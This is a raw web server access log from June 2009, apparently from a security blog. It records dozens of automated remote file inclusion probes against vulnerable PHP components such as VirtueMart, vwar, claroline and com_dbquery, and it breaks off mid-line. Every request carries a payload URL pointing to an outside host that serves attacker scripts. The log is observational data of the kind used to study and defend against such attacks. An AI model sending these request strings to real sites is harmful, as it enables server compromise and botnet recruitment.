208.111.94.201 - - [19/Jun/2009:18:35:08 -0600] "GET /2009//index.php?sayfa=http://www.recanatini.it/ra/office1.jpg??? HTTP/1.1" 302 770 "-" "Mozilla/5.0" 208.111.94.201 - - [19/Jun/2009:18:35:08 -0600] "GET /2009/06//index.php?sayfa=http://www.recanatini.it/ra/office1.jpg??? HTTP/1.1" 302 773 "-" "Mozilla/5.0" 208.111.94.201 - - [19/Jun/2009:18:35:08 -0600] "GET /2009/06/04/controlling-an-rfi-bot//index.php?sayfa=http://www.recanatini.it/ra/office1.jpg??? HTTP/1.1" 302 799 "-" "Mozilla/5.0" 208.111.94.201 - - [19/Jun/2009:18:35:09 -0600] "GET /2009/06//?sayfa=http://www.recanatini.it/ra/office1.jpg??? HTTP/1.1" 302 752 "-" "Mozilla/5.0" 208.111.94.201 - - [19/Jun/2009:18:35:09 -0600] "GET /2009/06/04/controlling-an-rfi-bot//?sayfa=http://www.recanatini.it/ra/office1.jpg??? HTTP/1.1" 302 778 "-" "Mozilla/5.0" 208.111.94.201 - - [19/Jun/2009:18:35:09 -0600] "GET /2009/06/04//?sayfa=http://www.recanatini.it/ra/office1.jpg??? HTTP/1.1" 302 755 "-" "Mozilla/5.0" 208.111.94.201 - - [19/Jun/2009:18:35:09 -0600] "GET /2009//?sayfa=http://www.recanatini.it/ra/office1.jpg??? HTTP/1.1" 302 749 "-" "Mozilla/5.0" 208.111.94.201 - - [19/Jun/2009:18:35:10 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?sayfa=http://www.recanatini.it/ra/office1.jpg??? HTTP/1.1" 200 47140 "-" "Mozilla/5.0" 208.111.94.201 - - [19/Jun/2009:18:35:10 -0600] "GET /2009/06/04/?sayfa=http://www.recanatini.it/ra/office1.jpg??? HTTP/1.1" 200 36383 "-" "Mozilla/5.0" 208.111.94.201 - - [19/Jun/2009:18:35:10 -0600] "GET /2009/06/?sayfa=http://www.recanatini.it/ra/office1.jpg??? HTTP/1.1" 200 42059 "-" "Mozilla/5.0" 208.111.94.201 - - [19/Jun/2009:18:35:10 -0600] "GET /2009/?sayfa=http://www.recanatini.it/ra/office1.jpg??? HTTP/1.1" 200 55546 "-" "Mozilla/5.0" 211.49.99.7 - - [19/Jun/2009:18:42:58 -0600] "GET //components/com_moofaq/includes/file_includer.php?gzip=0&file=http://www.702com.net/images/702b/yes.txt??%0D?? HTTP/1.1" 302 821 "-" "libwww-perl/5.79" 211.49.99.7 - - [19/Jun/2009:18:42:59 -0600] "GET //components/com_moofaq/includes/file_includer.php?gzip=0&file=http://www.702com.net/images/702b/yes.txt??%0D?? HTTP/1.1" 404 33821 "-" "libwww-perl/5.79" 66.11.230.36 - - [19/Jun/2009:18:49:11 -0600] "GET /rfi.txt///administrator/components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 404 593 "-" "Mozilla/5.0" 66.11.230.36 - - [19/Jun/2009:18:49:11 -0600] "GET ///administrator/components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 302 847 "-" "Mozilla/5.0" 66.11.230.36 - - [19/Jun/2009:18:49:12 -0600] "GET ///administrator/components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 404 33984 "-" "Mozilla/5.0" 211.49.99.7 - - [19/Jun/2009:18:52:18 -0600] "GET /rfi.txt//components/com_moofaq/includes/file_includer.php?gzip=0&file=http://www.702com.net/images/702b/yes.txt??%0D?? HTTP/1.1" 404 571 "-" "libwww-perl/5.79" 124.0.145.1 - - [19/Jun/2009:19:08:13 -0600] "GET /rfi.txt///administrator/components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 404 593 "-" "Mozilla/5.0" 124.0.145.1 - - [19/Jun/2009:19:08:12 -0600] "GET ///administrator/components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 302 847 "-" "Mozilla/5.0" 124.0.145.1 - - [19/Jun/2009:19:08:14 -0600] "GET ///administrator/components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 404 33894 "-" "Mozilla/5.0" 124.0.145.1 - - [19/Jun/2009:19:26:11 -0600] "GET /rfi.txt///administrator/components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 404 593 "-" "Mozilla/5.0" 124.0.145.1 - - [19/Jun/2009:19:26:11 -0600] "GET ///administrator/components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 302 847 "-" "Mozilla/5.0" 124.0.145.1 - - [19/Jun/2009:19:28:14 -0600] "GET /rfi.txt///administrator/components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 404 593 "-" "Mozilla/5.0" 124.0.145.1 - - [19/Jun/2009:19:28:14 -0600] "GET ///administrator/components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 302 847 "-" "Mozilla/5.0" 124.0.145.1 - - [19/Jun/2009:19:28:20 -0600] "GET ///administrator/components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 404 33893 "-" "Mozilla/5.0" 124.0.145.1 - - [19/Jun/2009:19:26:13 -0600] "GET ///administrator/components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 404 15928 "-" "Mozilla/5.0" 87.242.72.84 - - [19/Jun/2009:19:43:50 -0600] "GET //index.php?sayfa=http://tornavida.to.funpic.org/bot/pitbullid.txt?? HTTP/1.1" 302 748 "-" "libwww-perl/5.805" 87.242.72.84 - - [19/Jun/2009:19:43:51 -0600] "GET /?sayfa=http://tornavida.to.funpic.org/bot/pitbullid.txt?? HTTP/1.1" 200 110874 "-" "libwww-perl/5.805" 87.242.72.84 - - [19/Jun/2009:19:46:27 -0600] "GET /2009/06/04/controlling-an-rfi-bot//index.php?sayfa=http://tornavida.to.funpic.org/bot/pitbullid.txt?? HTTP/1.1" 302 807 "-" "libwww-perl/5.805" 87.242.72.84 - - [19/Jun/2009:19:46:28 -0600] "GET /2009/06/04/controlling-an-rfi-bot//?sayfa=http://tornavida.to.funpic.org/bot/pitbullid.txt?? HTTP/1.1" 302 786 "-" "libwww-perl/5.805" 87.242.72.84 - - [19/Jun/2009:19:46:29 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?sayfa=http://tornavida.to.funpic.org/bot/pitbullid.txt?? HTTP/1.1" 200 47018 "-" "libwww-perl/5.805" 87.242.72.84 - - [19/Jun/2009:19:46:31 -0600] "GET //index.php?sayfa=http://tornavida.to.funpic.org/bot/pitbullid.txt?? HTTP/1.1" 302 752 "-" "libwww-perl/5.805" 87.242.72.84 - - [19/Jun/2009:19:46:32 -0600] "GET /?sayfa=http://tornavida.to.funpic.org/bot/pitbullid.txt?? HTTP/1.1" 200 110831 "-" "libwww-perl/5.805" 87.242.72.84 - - [19/Jun/2009:19:46:34 -0600] "GET /2009/06/04//index.php?sayfa=http://tornavida.to.funpic.org/bot/pitbullid.txt?? HTTP/1.1" 302 784 "-" "libwww-perl/5.805" 87.242.72.84 - - [19/Jun/2009:19:46:35 -0600] "GET /2009/06/04//?sayfa=http://tornavida.to.funpic.org/bot/pitbullid.txt?? HTTP/1.1" 302 763 "-" "libwww-perl/5.805" 87.242.72.84 - - [19/Jun/2009:19:46:35 -0600] "GET /2009/06/04/?sayfa=http://tornavida.to.funpic.org/bot/pitbullid.txt?? HTTP/1.1" 200 36323 "-" "libwww-perl/5.805" 209.172.33.230 - - [19/Jun/2009:19:56:34 -0600] "GET //administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.raindrip.com/cms/media/id.txt???? HTTP/1.1" 302 831 "-" "libwww-perl/5.812" 209.172.33.230 - - [19/Jun/2009:19:56:36 -0600] "GET //administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.raindrip.com/cms/media/id.txt???? HTTP/1.1" 404 33912 "-" "libwww-perl/5.812" 88.191.89.138 - - [19/Jun/2009:19:56:45 -0600] "GET /rfi.txt//administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.inboxstorage.nl/images/yes.txt??? HTTP/1.1" 404 577 "-" "libwww-perl/5.813" 88.191.89.138 - - [19/Jun/2009:19:56:45 -0600] "GET //administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.inboxstorage.nl/images/yes.txt??? HTTP/1.1" 302 831 "-" "libwww-perl/5.813" 88.191.89.138 - - [19/Jun/2009:19:56:46 -0600] "GET //administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.inboxstorage.nl/images/yes.txt??? HTTP/1.1" 404 33833 "-" "libwww-perl/5.813" 209.172.33.230 - - [19/Jun/2009:19:58:12 -0600] "GET /rfi.txt//administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.raindrip.com/cms/media/id.txt???? HTTP/1.1" 404 577 "-" "libwww-perl/5.812" 209.172.33.230 - - [19/Jun/2009:20:02:40 -0600] "GET /rfi.txt//administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.0118099987.com/board/down/id132_860233/1818/baner.txt?? HTTP/1.1" 404 599 "-" "Mozilla/5.0" 209.172.33.230 - - [19/Jun/2009:20:02:40 -0600] "GET //administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.0118099987.com/board/down/id132_860233/1818/baner.txt?? HTTP/1.1" 302 853 "-" "Mozilla/5.0" 209.172.33.230 - - [19/Jun/2009:20:02:41 -0600] "GET //administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.0118099987.com/board/down/id132_860233/1818/baner.txt?? HTTP/1.1" 404 34046 "-" "Mozilla/5.0" 87.242.72.84 - - [19/Jun/2009:20:16:45 -0600] "GET /?lang=es//index.php?sayfa=http://tornavida.to.funpic.org/bot/pitbullid.txt?? HTTP/1.1" 200 110514 "-" "libwww-perl/5.805" 87.242.72.84 - - [19/Jun/2009:20:16:47 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?lang=es//index.php?sayfa=http://tornavida.to.funpic.org/bot/pitbullid.txt?? HTTP/1.1" 200 46825 "-" "libwww-perl/5.805" 213.189.224.21 - - [19/Jun/2009:20:36:48 -0600] "GET /rfi.txt///vwar/backup/errors.php?error=http://yoursupplements4you.com/wp-content/themes/bluebrush/images/img08.jpg???? HTTP/1.1" 404 567 "-" "Mozilla/5.0" 213.189.224.21 - - [19/Jun/2009:20:36:48 -0600] "GET ///vwar/backup/errors.php?error=http://yoursupplements4you.com/wp-content/themes/bluebrush/images/img08.jpg???? HTTP/1.1" 302 821 "-" "Mozilla/5.0" 213.189.224.21 - - [19/Jun/2009:20:36:49 -0600] "GET ///vwar/backup/errors.php?error=http://yoursupplements4you.com/wp-content/themes/bluebrush/images/img08.jpg???? HTTP/1.1" 404 33814 "-" "Mozilla/5.0" 213.189.224.21 - - [19/Jun/2009:20:37:09 -0600] "GET /rfi.txt///vwar/backup/errors.php?error=http://yoursupplements4you.com/wp-content/themes/bluebrush/images/img08.jpg???? HTTP/1.1" 404 567 "-" "Mozilla/5.0" 213.189.224.21 - - [19/Jun/2009:20:37:09 -0600] "GET ///vwar/backup/errors.php?error=http://yoursupplements4you.com/wp-content/themes/bluebrush/images/img08.jpg???? HTTP/1.1" 302 821 "-" "Mozilla/5.0" 213.189.224.21 - - [19/Jun/2009:20:37:10 -0600] "GET ///vwar/backup/errors.php?error=http://yoursupplements4you.com/wp-content/themes/bluebrush/images/img08.jpg???? HTTP/1.1" 404 33814 "-" "Mozilla/5.0" 213.189.224.21 - - [19/Jun/2009:20:38:52 -0600] "GET /rfi.txt///vwar/backup/errors.php?error=http://yoursupplements4you.com/wp-content/themes/bluebrush/images/img08.jpg???? HTTP/1.1" 404 567 "-" "Mozilla/5.0" 213.189.224.21 - - [19/Jun/2009:20:38:52 -0600] "GET ///vwar/backup/errors.php?error=http://yoursupplements4you.com/wp-content/themes/bluebrush/images/img08.jpg???? HTTP/1.1" 302 821 "-" "Mozilla/5.0" 213.189.224.21 - - [19/Jun/2009:20:38:53 -0600] "GET ///vwar/backup/errors.php?error=http://yoursupplements4you.com/wp-content/themes/bluebrush/images/img08.jpg???? HTTP/1.1" 404 33813 "-" "Mozilla/5.0" 211.230.156.161 - - [19/Jun/2009:20:41:00 -0600] "GET /rfi.txt///vwar/backup/errors.php?error=http://yoursupplements4you.com/wp-content/themes/bluebrush/images/img08.jpg???? HTTP/1.1" 404 567 "-" "Mozilla/5.0" 211.230.156.161 - - [19/Jun/2009:20:41:00 -0600] "GET ///vwar/backup/errors.php?error=http://yoursupplements4you.com/wp-content/themes/bluebrush/images/img08.jpg???? HTTP/1.1" 302 821 "-" "Mozilla/5.0" 211.230.156.161 - - [19/Jun/2009:20:41:01 -0600] "GET ///vwar/backup/errors.php?error=http://yoursupplements4you.com/wp-content/themes/bluebrush/images/img08.jpg???? HTTP/1.1" 404 33814 "-" "Mozilla/5.0" 217.147.30.80 - - [19/Jun/2009:20:41:32 -0600] "GET /?error=http://tomato.pooding.com/lib/bankofamerica/images/idd.txt%0D?? HTTP/1.1" 302 761 "-" "libwww-perl/5.79" 217.147.30.80 - - [19/Jun/2009:20:41:33 -0600] "GET /?error=http://tomato.pooding.com/lib/bankofamerica/images/idd.txt%0D?? HTTP/1.1" 200 110991 "-" "libwww-perl/5.79" 78.159.121.30 - - [19/Jun/2009:20:42:41 -0600] "GET /rfi.txt//components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://www.vasterviksdjurklinik.se/components/chid.txt??? HTTP/1.1" 404 590 "-" "libwww-perl/5.826" 78.159.121.30 - - [19/Jun/2009:20:42:41 -0600] "GET //components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://www.vasterviksdjurklinik.se/components/chid.txt??? HTTP/1.1" 302 844 "-" "libwww-perl/5.826" 78.159.121.30 - - [19/Jun/2009:20:42:42 -0600] "GET //components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://www.vasterviksdjurklinik.se/components/chid.txt??? HTTP/1.1" 404 33885 "-" "libwww-perl/5.826" 121.165.73.157 - - [19/Jun/2009:20:43:34 -0600] "GET /rfi.txt//components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://www.kdinvestments.sk/data/id1.txt?? HTTP/1.1" 404 575 "-" "Mozilla/5.0" 121.165.73.157 - - [19/Jun/2009:20:43:34 -0600] "GET //components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://www.kdinvestments.sk/data/id1.txt?? HTTP/1.1" 302 829 "-" "Mozilla/5.0" 121.165.73.157 - - [19/Jun/2009:20:43:35 -0600] "GET //components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://www.kdinvestments.sk/data/id1.txt?? HTTP/1.1" 404 33819 "-" "Mozilla/5.0" 121.165.73.157 - - [19/Jun/2009:20:44:37 -0600] "GET /rfi.txt//components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://www.kdinvestments.sk/data/id1.txt?? HTTP/1.1" 404 575 "-" "Mozilla/5.0" 121.165.73.157 - - [19/Jun/2009:20:44:37 -0600] "GET //components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://www.kdinvestments.sk/data/id1.txt?? HTTP/1.1" 302 829 "-" "Mozilla/5.0" 121.165.73.157 - - [19/Jun/2009:20:44:38 -0600] "GET //components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://www.kdinvestments.sk/data/id1.txt?? HTTP/1.1" 404 33819 "-" "Mozilla/5.0" 121.165.73.157 - - [19/Jun/2009:20:45:17 -0600] "GET /rfi.txt//components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://www.kdinvestments.sk/data/id1.txt?? HTTP/1.1" 404 575 "-" "Mozilla/5.0" 121.165.73.157 - - [19/Jun/2009:20:45:17 -0600] "GET //components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://www.kdinvestments.sk/data/id1.txt?? HTTP/1.1" 302 829 "-" "Mozilla/5.0" 121.165.73.157 - - [19/Jun/2009:20:45:18 -0600] "GET //components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://www.kdinvestments.sk/data/id1.txt?? HTTP/1.1" 404 33819 "-" "Mozilla/5.0" 69.64.89.139 - - [19/Jun/2009:20:46:36 -0600] "GET /rfi.txt/?error=http://tomato.pooding.com/lib/bankofamerica/images/idd.txt%0D?? HTTP/1.1" 404 527 "-" "libwww-perl/5.805" 69.64.89.139 - - [19/Jun/2009:20:46:36 -0600] "GET /?error=http://tomato.pooding.com/lib/bankofamerica/images/idd.txt%0D?? HTTP/1.1" 302 761 "-" "libwww-perl/5.805" 69.64.89.139 - - [19/Jun/2009:20:46:37 -0600] "GET /?error=http://tomato.pooding.com/lib/bankofamerica/images/idd.txt%0D?? HTTP/1.1" 200 112461 "-" "libwww-perl/5.805" 69.64.89.139 - - [19/Jun/2009:20:47:36 -0600] "GET /rfi.txt/?error=http://tomato.pooding.com/lib/bankofamerica/images/idd.txt%0D? HTTP/1.1" 404 526 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20060321 Firefox/2.0a1" 69.64.89.139 - - [19/Jun/2009:20:47:36 -0600] "GET /?error=http://tomato.pooding.com/lib/bankofamerica/images/idd.txt%0D? HTTP/1.1" 302 760 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20060321 Firefox/2.0a1" 69.64.89.139 - - [19/Jun/2009:20:47:37 -0600] "GET /?error=http://tomato.pooding.com/lib/bankofamerica/images/idd.txt%0D? HTTP/1.1" 200 111851 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20060321 Firefox/2.0a1" 217.147.30.80 - - [19/Jun/2009:20:50:41 -0600] "GET /rfi.txt/?error=http://tomato.pooding.com/lib/bankofamerica/images/idd.txt%0D?? HTTP/1.1" 404 527 "-" "libwww-perl/5.79" 151.1.154.24 - - [20/Jun/2009:10:48:30 -0600] "GET /rfi.txt//administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://www.telsizdunyasi.com/vnc/fx29id.txt?? HTTP/1.1" 404 599 "-" "Mozilla/5.0" 151.1.154.24 - - [20/Jun/2009:10:48:30 -0600] "GET //administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://www.telsizdunyasi.com/vnc/fx29id.txt?? HTTP/1.1" 302 853 "-" "Mozilla/5.0" 151.1.154.24 - - [20/Jun/2009:10:48:32 -0600] "GET //administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://www.telsizdunyasi.com/vnc/fx29id.txt?? HTTP/1.1" 404 33914 "-" "Mozilla/5.0" 211.49.99.7 - - [20/Jun/2009:10:49:59 -0600] "GET //modules/vwar/admin/admin.php?vwar_root=http://dentyx.com/shop/upload/category/1.swf? HTTP/1.1" 302 796 "-" "Mozilla/5.0" 211.49.99.7 - - [20/Jun/2009:10:50:00 -0600] "GET /rfi.txt//modules/vwar/admin/admin.php?vwar_root=http://dentyx.com/shop/upload/category/1.swf? HTTP/1.1" 404 542 "-" "Mozilla/5.0" 211.49.99.7 - - [20/Jun/2009:10:50:01 -0600] "GET //modules/vwar/admin/admin.php?vwar_root=http://dentyx.com/shop/upload/category/1.swf? HTTP/1.1" 404 33692 "-" "Mozilla/5.0" 151.1.154.24 - - [20/Jun/2009:10:54:34 -0600] "GET //administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://www.telsizdunyasi.com/vnc/fx29id.txt?? HTTP/1.1" 302 853 "-" "Mozilla/5.0" 151.1.154.24 - - [20/Jun/2009:10:54:34 -0600] "GET /rfi.txt%20%20//administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://www.telsizdunyasi.com/vnc/fx29id.txt?? HTTP/1.1" 302 867 "-" "Mozilla/5.0" 151.1.154.24 - - [20/Jun/2009:10:54:35 -0600] "GET /rfi.txt%20%20//administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://www.telsizdunyasi.com/vnc/fx29id.txt?? HTTP/1.1" 404 33973 "-" "Mozilla/5.0" 151.1.154.24 - - [20/Jun/2009:10:54:35 -0600] "GET //administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://www.telsizdunyasi.com/vnc/fx29id.txt?? HTTP/1.1" 404 33915 "-" "Mozilla/5.0" 68.109.233.157 - - [20/Jun/2009:11:02:08 -0600] "GET /rfi.txt//errors.php?error=http://geocities.com/blade_tea/idmaira.txt????? HTTP/1.1" 404 522 "-" "libwww-perl/5.79" 222.122.142.249 - - [20/Jun/2009:11:08:38 -0600] "GET /rfi.txt//technote7/skin_shop/standard/3_plugin_twindow/twindow_notice.php?shop_this_skin_path=http://www.hongik.ac.kr/ad/counts/id.txt?? HTTP/1.1" 404 585 "-" "Mozilla/5.0" 222.122.142.249 - - [20/Jun/2009:11:08:38 -0600] "GET //technote7/skin_shop/standard/3_plugin_twindow/twindow_notice.php?shop_this_skin_path=http://www.hongik.ac.kr/ad/counts/id.txt?? HTTP/1.1" 302 839 "-" "Mozilla/5.0" 222.122.142.249 - - [20/Jun/2009:11:08:39 -0600] "GET //technote7/skin_shop/standard/3_plugin_twindow/twindow_notice.php?shop_this_skin_path=http://www.hongik.ac.kr/ad/counts/id.txt?? HTTP/1.1" 404 33865 "-" "Mozilla/5.0" 209.51.133.202 - - [20/Jun/2009:13:14:57 -0600] "GET /rfi.txt//claroline/tracking/userLog.php?rootSys=http://siam2.com/ict/news/photo/.photo/bot/1.swf?? HTTP/1.1" 404 547 "-" "Mozilla/5.0" 209.51.133.202 - - [20/Jun/2009:13:14:57 -0600] "GET //claroline/tracking/userLog.php?rootSys=http://siam2.com/ict/news/photo/.photo/bot/1.swf?? HTTP/1.1" 302 801 "-" "Mozilla/5.0" 209.51.133.202 - - [20/Jun/2009:13:14:58 -0600] "GET //claroline/tracking/userLog.php?rootSys=http://siam2.com/ict/news/photo/.photo/bot/1.swf?? HTTP/1.1" 404 33805 "-" "Mozilla/5.0" 209.51.133.202 - - [20/Jun/2009:13:15:06 -0600] "GET /rfi.txt//claroline/tracking/userLog.php?rootSys=http://siam2.com/ict/news/photo/.photo/bot/1.swf?? HTTP/1.1" 404 547 "-" "Mozilla/5.0" 209.51.133.202 - - [20/Jun/2009:13:15:05 -0600] "GET //claroline/tracking/userLog.php?rootSys=http://siam2.com/ict/news/photo/.photo/bot/1.swf?? HTTP/1.1" 302 801 "-" "Mozilla/5.0" 209.51.133.202 - - [20/Jun/2009:13:15:06 -0600] "GET //claroline/tracking/userLog.php?rootSys=http://siam2.com/ict/news/photo/.photo/bot/1.swf?? HTTP/1.1" 404 33816 "-" "Mozilla/5.0" 82.194.87.219 - - [20/Jun/2009:13:24:16 -0600] "GET ///errors.php?error=http://www.laubrotel.com/letter/id? HTTP/1.1" 302 765 "-" "libwww-perl/5.822" 82.194.87.219 - - [20/Jun/2009:13:24:17 -0600] "GET ///errors.php?error=http://www.laubrotel.com/letter/id? HTTP/1.1" 404 33554 "-" "libwww-perl/5.822" 82.194.87.219 - - [20/Jun/2009:13:27:40 -0600] "GET //errors.php?error=http://www.laubrotel.com/letter/id? HTTP/1.1" 302 764 "-" "libwww-perl/5.822" 82.194.87.219 - - [20/Jun/2009:13:27:41 -0600] "GET //errors.php?error=http://www.laubrotel.com/letter/id? HTTP/1.1" 404 33553 "-" "libwww-perl/5.822" 82.194.87.219 - - [20/Jun/2009:13:27:56 -0600] "GET ///errors.php?error=http://www.laubrotel.com/letter/id? HTTP/1.1" 302 765 "-" "libwww-perl/5.822" 82.194.87.219 - - [20/Jun/2009:13:27:57 -0600] "GET ///errors.php?error=http://www.laubrotel.com/letter/id? HTTP/1.1" 404 33553 "-" "libwww-perl/5.822" 82.194.87.219 - - [20/Jun/2009:13:28:39 -0600] "GET ///errors.php?error=http://www.laubrotel.com/letter/id? HTTP/1.1" 302 765 "-" "libwww-perl/5.822" 82.194.87.219 - - [20/Jun/2009:13:28:40 -0600] "GET ///errors.php?error=http://www.laubrotel.com/letter/id? HTTP/1.1" 404 33553 "-" "libwww-perl/5.822" 82.194.87.219 - - [20/Jun/2009:13:29:39 -0600] "GET ///errors.php?error=http://www.laubrotel.com/letter/id? HTTP/1.1" 302 765 "-" "libwww-perl/5.822" 82.194.87.219 - - [20/Jun/2009:13:29:40 -0600] "GET ///errors.php?error=http://www.laubrotel.com/letter/id? HTTP/1.1" 404 33554 "-" "libwww-perl/5.822" 82.194.87.219 - - [20/Jun/2009:13:31:17 -0600] "GET ///errors.php?error=http://www.laubrotel.com/letter/id? HTTP/1.1" 302 765 "-" "libwww-perl/5.822" 82.194.87.219 - - [20/Jun/2009:13:31:18 -0600] "GET ///errors.php?error=http://www.laubrotel.com/letter/id? HTTP/1.1" 404 33553 "-" "libwww-perl/5.822" 211.189.40.248 - - [20/Jun/2009:13:47:32 -0600] "GET /rfi.txt///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://orlando.micfo.com/~clandios/modules/My_eGallery/id1.txt? HTTP/1.1" 404 597 "-" "Mozilla/5.0" 211.189.40.248 - - [20/Jun/2009:13:47:32 -0600] "GET ///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://orlando.micfo.com/~clandios/modules/My_eGallery/id1.txt? HTTP/1.1" 302 851 "-" "Mozilla/5.0" 211.189.40.248 - - [20/Jun/2009:13:47:33 -0600] "GET ///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://orlando.micfo.com/~clandios/modules/My_eGallery/id1.txt? HTTP/1.1" 404 33915 "-" "Mozilla/5.0" 211.189.40.248 - - [20/Jun/2009:13:48:00 -0600] "GET /rfi.txt///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://orlando.micfo.com/~clandios/modules/My_eGallery/id1.txt? HTTP/1.1" 404 597 "-" "Mozilla/5.0" 211.189.40.248 - - [20/Jun/2009:13:48:00 -0600] "GET ///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://orlando.micfo.com/~clandios/modules/My_eGallery/id1.txt? HTTP/1.1" 302 851 "-" "Mozilla/5.0" 211.189.40.248 - - [20/Jun/2009:13:48:01 -0600] "GET ///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://orlando.micfo.com/~clandios/modules/My_eGallery/id1.txt? HTTP/1.1" 404 33916 "-" "Mozilla/5.0" 209.51.133.202 - - [20/Jun/2009:14:02:34 -0600] "GET /rfi.txt/modules/vwar/convert/mvcw_conver.php?step=1&vwar_root=http://siam2.com/ict/news/photo/.photo/bot/1.swf?? HTTP/1.1" 404 565 "-" "Mozilla/5.0" 209.51.133.202 - - [20/Jun/2009:14:02:34 -0600] "GET /modules/vwar/convert/mvcw_conver.php?step=1&vwar_root=http://siam2.com/ict/news/photo/.photo/bot/1.swf?? HTTP/1.1" 302 815 "-" "Mozilla/5.0" 209.51.133.202 - - [20/Jun/2009:14:02:34 -0600] "GET /modules/vwar/convert/mvcw_conver.php?step=1&vwar_root=http://siam2.com/ict/news/photo/.photo/bot/1.swf?? HTTP/1.1" 404 33876 "-" "Mozilla/5.0" 82.194.87.219 - - [20/Jun/2009:14:26:11 -0600] "GET ///errors.php?error=http://www.laubrotel.com/letter/id? HTTP/1.1" 302 765 "-" "libwww-perl/5.822" 82.194.87.219 - - [20/Jun/2009:14:26:12 -0600] "GET ///errors.php?error=http://www.laubrotel.com/letter/id? HTTP/1.1" 404 33554 "-" "libwww-perl/5.822" 211.49.99.7 - - [20/Jun/2009:14:27:44 -0600] "GET /modules/vwar/convert/mvcw_conver.php?step=1&vwar_root=http://dentyx.com/shop/upload/category/1.swf? HTTP/1.1" 302 810 "-" "Mozilla/5.0" 211.49.99.7 - - [20/Jun/2009:14:27:44 -0600] "GET /rfi.txt%20%20/modules/vwar/convert/mvcw_conver.php?step=1&vwar_root=http://dentyx.com/shop/upload/category/1.swf? HTTP/1.1" 302 824 "-" "Mozilla/5.0" 211.49.99.7 - - [20/Jun/2009:14:27:45 -0600] "GET /modules/vwar/convert/mvcw_conver.php?step=1&vwar_root=http://dentyx.com/shop/upload/category/1.swf? HTTP/1.1" 404 33767 "-" "Mozilla/5.0" 211.49.99.7 - - [20/Jun/2009:14:27:49 -0600] "GET /rfi.txt%20%20/modules/vwar/convert/mvcw_conver.php?step=1&vwar_root=http://dentyx.com/shop/upload/category/1.swf? HTTP/1.1" 404 33824 "-" "Mozilla/5.0" 82.194.87.219 - - [20/Jun/2009:14:29:03 -0600] "GET ///errors.php?error=http://www.laubrotel.com/letter/id? HTTP/1.1" 302 765 "-" "libwww-perl/5.822" 82.194.87.219 - - [20/Jun/2009:14:29:04 -0600] "GET ///errors.php?error=http://www.laubrotel.com/letter/id? HTTP/1.1" 404 33554 "-" "libwww-perl/5.822" 212.91.134.133 - - [20/Jun/2009:14:29:13 -0600] "GET 